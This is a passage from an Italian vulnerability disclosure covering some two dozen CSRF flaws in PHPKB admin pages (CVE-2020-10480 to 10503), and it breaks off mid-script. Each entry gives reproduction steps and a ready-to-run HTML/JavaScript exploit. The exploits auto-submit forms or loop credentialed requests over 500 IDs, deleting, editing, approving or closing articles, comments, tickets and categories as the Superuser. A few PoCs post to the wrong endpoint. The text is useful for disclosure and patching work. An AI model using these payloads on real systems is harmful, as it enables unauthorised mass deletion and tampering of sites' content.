<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro title per impostare il titolo della notizia -->
<!-- Cambiare il parametro txtContent per impostare la descrizione della notizia -->
<!-- Impostare il parametro make_visible in yes, se si vuole rendere la notizia pubblica, altrimenti in no, se si vuole renderla privata -->
  <body>
  <script>history.pushState('', '', '/')</script>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-news.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="title" value="test" />
      <input type="hidden" name="txtContent" value="&lt;p&gt;test&lt;&#47;p&gt;" />
      <input type="hidden" name="make&#95;visible" value="yes" />
      <input type="hidden" name="expiry&#95;date" value="2020&#45;01&#45;26" />
      <input type="hidden" name="autosave&#95;id" value="0" />
      <input type="hidden" name="directsave" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Creazione di una categoria: Cross-Site Request Forgery (CVE-2020-10480)

Exploit mirato al: Superutente

File vulnerabile: admin/add-category.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “categories” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save category”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro title per impostare il titolo della categoria -->
<!-- Cambiare il parametro content per impostare la descrizione della categoria -->
<!-- Impostare il parametro type in public, se si vuole rendere la categoria pubblica, altrimenti in private, se si vuole renderla privata -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-category.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="type" value="public" />
      <input type="hidden" name="title" value="csrfvulnerability" />
      <input type="hidden" name="parent&#95;public" value="0" />
      <input type="hidden" name="parent&#95;private" value="0" />
      <input type="hidden" name="content" value="csrfvulnerability" />
      <input type="hidden" name="group&#95;permissions" value="none" />
      <input type="hidden" name="submit" value="Save&#32;Category" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>

Aggiunta di un termine di glossario: Cross-Site Request Forgery (CVE-2020-10481)

Exploit mirato al: Superutente

File vulnerabile: admin/add-glossary.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “glossary” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save glossary term”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro term per impostare il termine di glossario -->
<!-- Cambiare il parametro definition per impostare la definizione del termine di glossario -->
<!-- Impostare il parametro visible in yes, se si vuole rendere il termine di glossario pubblico, altrimenti in no, se si vuole renderlo privato -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-glossary.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="term" value="testt" />
      <input type="hidden" name="definition" value="testt" />
      <input type="hidden" name="visible" value="yes" />
      <input type="hidden" name="submit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>

Aggiunta di un template di articolo: Cross-Site Request Forgery (CVE-2020-10482)

Exploit mirato al: Superutente

File vulnerabile: admin/add-template.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles”, poi su “article templates” e infine su “add”;
  • riempire i parametri con valori casuali e cliccare su “save article template”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro title per impostare il titolo del template -->
<!-- Cambiare il parametro txtContent per impostare il corpo del template -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-template.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="title" value="dsa" />
      <input type="hidden" name="txtContent" value="&lt;p&gt;sda&lt;&#47;p&gt;" />
      <input type="hidden" name="make&#95;visible" value="active" />
      <input type="hidden" name="directsave" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Invio di un commento: Cross-Site Request Forgery (CVE-2020-10483)

Exploit mirato a: Chiunque, purché abbia effettuato il login

File vulnerabile: admin/ajax-hub.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • inviare un commento su un articolo casuale.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro aid per impostare l'ID dell'articolo che si vuole far commentare -->
<!-- Cambiare il parametro cmt per impostare il corpo del commento -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/include/ajax-hub.php?usefor=AddComments&aid=2&nm=&em=&cmt=sdsda&sc=undefined")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
		</script>
	</head>
	<body>
		<center><h1>Commento inviato!</h1></center>
</html>

Creazione di un campo personalizzato: Cross-Site Request Forgery (CVE-2020-10484)

Exploit mirato al: Superutente

File vulnerabile: admin/add-field.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles”, poi su “custom fields” e infine su “add”;
  • riempire i parametri con valori casuali e cliccare su “save custom field”;

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro title per impostare il titolo del campo -->
<!-- Cambiare il parametro txtContent per impostare la descrizione del campo -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-template.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="title" value="dsa" />
      <input type="hidden" name="txtContent" value="&lt;p&gt;sda&lt;&#47;p&gt;" />
      <input type="hidden" name="make&#95;visible" value="active" />
      <input type="hidden" name="directsave" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Eliminazione di un articolo: Cross-Site Request Forgery (CVE-2020-10485)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-articles.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “my articles”;
  • cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di articoli che verranno eliminati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-articles.php?sort=&order=&status=own&aid=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Eliminazione di un commento: Cross-Site Request Forgery (CVE-2020-10486)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-comments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • pubblicare un commento su un articolo casuale;
  • effettuare il login come Superutente;
  • cliccare sulla sezione “comments” e poi su “pending”;
  • selezionare il commento e cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di commenti che verranno eliminati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-comments.php?cid=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Eliminazione di un termine di glossario: Cross-Site Request Forgery (CVE-2020-10487)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-glossary.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “glossary” e poi su “manage”;
  • selezionare il termine di glossario e cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di termini di glossario che verranno eliminati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-glossary.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Eliminazione di una notizia: Cross-Site Request Forgery (CVE-2020-10488)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-news.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “news” e poi su “manage”;
  • selezionare la notizia e cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di notizie che verranno eliminate, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-news.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Eliminazione di un ticket: Cross-Site Request Forgery (CVE-2020-10489)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-tickets.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “open”;
  • cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di ticket che verranno eliminati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-tickets.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Eliminazione di un dipartimento: Cross-Site Request Forgery (CVE-2020-10490)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-departments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “departments”;
  • selezionare il dipartimento e cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di notizie che verranno eliminate, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-departments.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Aggiunta di un dipartimento: Cross-Site Request Forgery (CVE-2020-10491)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-departments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “departments”;
  • inserire il nome di dipartimento e cliccare su “save”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro name per impostare il nome del dipartimento -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/manage-departments.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="name" value="dsa" />
      <input type="hidden" name="show" value="yes" />
      <input type="hidden" name="submit&#95;department" value="Save&#32;Department" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Eliminazione di un articolo di template: Cross-Site Request Forgery (CVE-2020-10492)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-templates.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “article templates”;
  • cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di template che verranno eliminati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-templates.php?status=&id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di un termine di glossario: Cross-Site Request Forgery (CVE-2020-10493)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-glossary.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “glossary” e poi su “manage”;
  • cliccare su “edit” e poi su “save glossary”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Impostare il parametro visible in yes, se si vuole rendere il termine di glossario pubblico, altrimenti in no, se si vuole renderlo privato -->
<!-- Cambiare il parametro term per impostare il titolo del termine di glossario -->
<!-- Cambiare il parametro definition per impostare la definizione del termine di glossario -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di termini di glossario che verranno modificati, in questo caso 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-glossary.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "term=testterm&definition=definitionterm&visible=yes&id=" + i + "&p=c29ydD0mb3JkZXI9&submit=Save"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di una notizia: Cross-Site Request Forgery (CVE-2020-10494)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-news.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “news” e poi su “manage”;
  • cliccare su “edit” e poi su “save news article”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Impostare il parametro make_visible in yes, se si vuole rendere la notizia pubblica, altrimenti in no, se si vuole renderla privata -->
<!-- Cambiare il parametro title per impostare il titolo della notizia -->
<!-- Cambiare il parametro txtContent per impostare la descrizione della notizia -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di notizie che verranno modificate, in questo caso 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-news.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "title=titlenews&txtContent=descriptionnews&make_visible=yes&expiry_date=2020-01-24&id=" + i + "&p=c29ydD0mb3JkZXI9&directsave=Save"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di un template di articolo: Cross-Site Request Forgery (CVE-2020-10495)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-template.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “manage templates”;
  • cliccare su “edit” e poi su “save article template”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Impostare il parametro type in public, se si vuole rendere il template pubblico, altrimenti in private, se si vuole renderlo privato -->
<!-- Cambiare il parametro title per impostare il titolo del template -->
<!-- Cambiare il parametro txtContent per impostare la descrizione del template -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di template che verrano modificati, in questo caso 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-template.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "title=sdasdasdasdasdasdasdasdaads&txtContent=descriptioncontent&author_id=1&make_visible=active&id=" + i + "&p=c29ydD0mb3JkZXI9&default=no&directsave=Save"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di un articolo: Cross-Site Request Forgery (CVE-2020-10496)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-article.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “my articles”;
  • cliccare su “edit” e poi su “save article”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- L'ID dell'articolo che si vuole modificare deve essere specificato come valore del parametro article_id -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "[PHPKB]\/admin\/save-article.php", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------3042735397090");
        xhr.withCredentials = true;
        var body = "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"type\"\r\n" + 
          "\r\n" + 
          "public\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"se_able_public_1\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"nstate1\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"nstate4\"\r\n" + 
          "\r\n" + 
          "no\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"nstate7\"\r\n" + 
          "\r\n" + 
          "no\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"pub_state\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"pri_state\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"author\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"txtContent\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"keywords\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"summary\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"make_visible\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"enable_comments\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"enable_ratings\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"publish_date\"\r\n" + 
          "\r\n" + 
          "2020-01-11\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"expiry_date\"\r\n" + 
          "\r\n" + 
          "2020-01-27\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"filename0\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"filenamecap0\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"totalfiles\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"article_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"autosave_id\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"from_edit_section\"\r\n" + 
          "\r\n" + 
          "true\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"preview_section\"\r\n" + 
          "\r\n" + 
          "true\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"fromdraftsection\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"mode\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"p\"\r\n" + 
          "\r\n" + 
          "c3RhdHVzPW93biZzb3J0PSZvcmRlcj0=\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"UpdateArticleSubmit\"\r\n" + 
          "\r\n" + 
          "Update Article\r\n" + 
          "-----------------------------3042735397090--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Eliminazione di una categoria: Cross-Site Request Forgery (CVE-2020-10497)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-categories.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “categories” e poi su “manage categories”;
  • cliccare su “delete”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!--Il numero di categorie che verranno eliminate, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-categories.php?id=" + i + "&action=delete")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di una categoria: Cross-Site Request Forgery (CVE-2020-10498)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-category.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “categories” e poi su “manage categories”;
  • cliccare su “edit” e poi su “save category”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Impostare il parametro type in public, se si vuole rendere la categoria pubblica, altrimenti in private, se si vuole renderela privata -->
<!-- Cambiare il parametro title per impostare il titolo della categoria -->
<!-- Cambiare il parametro content per impostare la descrizione della categoria -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di categorie che verrà modificato, in questo caso 500-->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-category.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "type=public&title=dssdadasdssdadas&parent_public=0&parent_private=0&content=dssdadasdssdadasdssdadas&group_permissions=inherit&id=" + i + "&current_status=public&p=&submit=Save+Category"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Chiusura di un ticket: Cross-Site Request Forgery (CVE-2020-10499)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-tickets.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “open”;
  • selezionare il ticket e cliccare su “close”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di ticket che verrà chiuso, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-tickets.php?id=" + i + "&action=close")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Risposta a un ticket: Cross-Site Request Forgery (CVE-2020-10500)

Exploit mirato al: Superutente

File vulnerabile: admin/reply-ticket.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “open”;
  • selezionare il ticket, cliccare su “reply back” e poi su “save ticket”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro title per impostare il titolo della risposta del ticket -->
<!-- Cambiare il parametro txtContent per impostare il body della risposta del ticket -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di ticket ai quali verrà inviata una risposta, in questo caso 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/reply-ticket.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "title=titleticket&txtContent=replytext&close_ticket=yes&type=public&nstate1=no&nstate4=no&nstate7=no&pub_state=1&pri_state=0&keywords=&summary=&tid=" + i + "&for_preview_section=true&from=&p=&Submit=Send+Reply"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di un dipartimento: Cross-Site Request Forgery (CVE-2020-10501)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-departments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “department”;
  • cliccare su “edit” e poi su “save department”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro name per impostare il nome del dipartimento -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di dipartimenti ai quali verrà cambiato nome, in questo caso 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/reply-ticket.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "name=depname&show=yes&submit_department=Save+Department&id=" + i + "&action=edit"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Approvazione di un nuovo commento: Cross-Site Request Forgery (CVE-2020-10502)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-comments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “comments” e poi su “pending”;
  • selezionare il commento e cliccare su “approve”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di commenti che verranno approvati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-comments.php?cid=" + i + "&action=approve")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Disapprovazione di un nuovo commento: Cross-Site Request Forgery (CVE-2020-10503)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-comments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “comments” e poi su “approved”;
  • selezionare il commento e cliccare su “disapprove”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di commenti che verranno disapprovati, in questo caso 500 -->
			var xhr = new XMLHttpRequest();
